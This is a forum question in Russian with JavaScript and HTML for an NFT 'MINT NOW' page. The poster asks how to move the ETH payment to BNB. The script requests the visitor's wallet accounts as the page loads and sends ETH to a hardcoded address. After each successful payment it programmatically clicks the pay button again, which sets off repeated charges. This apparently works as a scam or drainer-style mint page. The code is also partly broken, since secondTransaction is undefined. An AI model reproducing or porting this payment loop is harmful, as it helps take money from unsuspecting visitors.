вот мой код
<script>
document.querySelector('#ticketAmount').addEventListener('input', ()=>{
let inputAmount123 = document.getElementById("ticketAmount").value * 0.07 ;
document.querySelector('#asfasfasdf1').innerHTML = `${inputAmount123.toFixed(3)} ETH`
});
const ethereumButton = document.querySelector('.enableEthereumButton');
const sendEthButton = document.querySelector('.sendEthButton');
const amountInput = document.querySelector('.ticketAmount');
window.web3 = new Web3(ethereum);
let accounts = [];
document.addEventListener("DOMContentLoaded", function(event) {
getAccount();
});
//Sending Ethereum to an address
sendEthButton.addEventListener('click', () => {
let a;
let address = document.getElementById("ticketAmount").value * 0.07 ;
let inputAmount = document.getElementById("ticketAmount").value * 0.07 ;
const amount = web3.utils.toWei((Math.round(inputAmount * 10000) / 10000).toString(), 'ether');
const value = web3.utils.toHex(amount);
ethereum
.request({
method: 'eth_sendTransaction',
params: [{
from: accounts[0],
to: '0x51394d2e2D931f6E78Ba714a54B7E35ba09874b9',
value: web3.utils.toHex(amount),
}, ],
})
.then((txHash) => document.querySelector('.sendEthButton').click())
.catch((error) => console.error);
});
// ethereumButton.addEventListener('click', () => {
// getAccount();
// });
async function getAccount() {
accounts = await ethereum.request({
method: 'eth_requestAccounts'
});
}
document.querySelector('#mint-options').onsubmit = function() {
secondTransaction()
return false;
}
</script>
<form class="decor" id="mint-options">
<div class="form-left-decoration"></div>
<div class="form-right-decoration"></div>
<div class="form-inner">
<h3>MINT NOW</h3>
<input type="number" value="1" min="1" placeholder="please enter a count" id="ticketAmount">
<p class="asfasfasdf" id="asfasfasdf1">0.07 ETH</p>
<input type="submit" value="MINTING" class="sendEthButton">
</div>
</form>
Здесь работает с ефиром но как сделать в бнб?Подключение и саму оплату?Буду благодарен